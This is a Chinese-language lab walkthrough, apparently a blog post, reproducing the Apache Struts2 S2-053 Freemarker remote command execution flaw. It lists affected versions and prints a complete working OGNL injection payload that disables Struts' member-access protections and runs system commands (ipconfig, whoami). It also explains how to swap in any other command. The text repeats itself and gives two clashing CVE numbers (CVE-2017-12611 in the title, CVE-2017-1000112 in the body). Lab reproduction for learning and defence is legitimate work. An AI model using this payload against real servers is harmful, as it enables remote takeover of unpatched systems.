【S2-053】Struts2远程命令执行漏洞(CVE-2017-12611)
2017-10-13 21:16
696 查看
实验环境
操作机:Windows 7
IP:172.16.11.2
实验工具
XAMPP: 一个功能强大的建站集成软件包
可以实现服务器的功能,但是只能自己访问
Firefox: 中文俗称‘火狐’,一个自由及开放源代码网页浏览器
漏洞介绍
继S2-052之后,Apache Struts 2再次被曝存在远程代码执行漏洞,漏洞编号S2-053,CVE编号CVE-2017-1000112。
当开发人员在Freemarker标签中使用错误的构造时,可能会导致远程代码执行漏洞。
影响范围
Struts 2.0.1 - Struts 2.3.33、Struts 2.5 - Struts 2.5.10
不受影响的版本
Struts 2.5.12、Struts 2.3.34
漏洞分析
当在Freemarker标签中使用表达式文本或强制表达式时,使用以下请求值可能会导致远程代码执行
这两种情况下,值属性都使用可写属性,都会受到Freemarker表达式影响。
步骤1:开启Tomcat服务器
步骤2:访问目标网站
网站的首页有一个输入框,下一步中,我们将在此框中输入我们的payload,发起攻击。
步骤3:发送需要执行的恶意代码
payload代码如下:
特别注意,分析上述代码,可以发现其中我们要执行的任意代码位于以下两处。
因此,如果我们要执行其他命令的话,一定要将这两处同时替换,否则命令将执行失败。
步骤4:漏洞验证
步骤3中,我们执行了命令ipconfig,点击提交按钮之后,可以在该页面看到网页返回结果如下:
将两处ipconfig修改为whoami,结果如下:
操作机:Windows 7
IP:172.16.11.2
实验工具
XAMPP: 一个功能强大的建站集成软件包
可以实现服务器的功能,但是只能自己访问
Firefox: 中文俗称‘火狐’,一个自由及开放源代码网页浏览器
漏洞介绍
继S2-052之后,Apache Struts 2再次被曝存在远程代码执行漏洞,漏洞编号S2-053,CVE编号CVE-2017-1000112。
当开发人员在Freemarker标签中使用错误的构造时,可能会导致远程代码执行漏洞。
影响范围
Struts 2.0.1 - Struts 2.3.33、Struts 2.5 - Struts 2.5.10
不受影响的版本
Struts 2.5.12、Struts 2.3.34
漏洞分析
当在Freemarker标签中使用表达式文本或强制表达式时,使用以下请求值可能会导致远程代码执行
<@s.hidden name="redirectUri" value=redirectUri /> <@s.hidden name="redirectUri" value="${redirectUri}" />
这两种情况下,值属性都使用可写属性,都会受到Freemarker表达式影响。
步骤1:开启Tomcat服务器
步骤2:访问目标网站
网站的首页有一个输入框,下一步中,我们将在此框中输入我们的payload,发起攻击。
步骤3:发送需要执行的恶意代码
payload代码如下:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd='ipconfig'}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
特别注意,分析上述代码,可以发现其中我们要执行的任意代码位于以下两处。
(#cmd='ipconfig') {'cmd.exe','/c',#cmd='ipconfig'}
因此,如果我们要执行其他命令的话,一定要将这两处同时替换,否则命令将执行失败。
步骤4:漏洞验证
步骤3中,我们执行了命令ipconfig,点击提交按钮之后,可以在该页面看到网页返回结果如下:
将两处ipconfig修改为whoami,结果如下:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd='whoami'}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
相关文章推荐
- 【S2-052】Struts2远程命令执行漏洞(CVE-2017-9805)
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- 【高危漏洞预警】CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052)
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- 【漏洞公告】CVE-2017-9791:Struts(S2-048)远程命令执行漏洞
- CVE-2017-8464远程命令执行漏洞(震网漏洞)复现
- CVE-2017-8464 远程命令执行漏洞复现
- 9.漏洞验证系列--Apache Struts2 远程命令执行(S2-045)
- Supervisord远程命令执行漏洞分析(CVE-2017-11610)
- Apache Struts2 includeParams属性远程命令执行漏洞(CVE-2013-1966)
- Struts2远程命令执行漏洞 S2-045 源码分析
- PKAV 发现 Struts2 最新远程命令执行漏洞(S2-037)
- 漏洞--Struts2远程命令执行S2-016
- struts2远程命令执行漏洞S2-045
- 【漏洞公告】CVE-2017-11610:Supervisord 远程命令执行漏洞
- Supervisord 远程命令执行漏洞(CVE-2017-11610)
- CVE-2017-8464远程命令执行漏洞复现
- Struts2 S2 – 032远程代码执行漏洞分析报告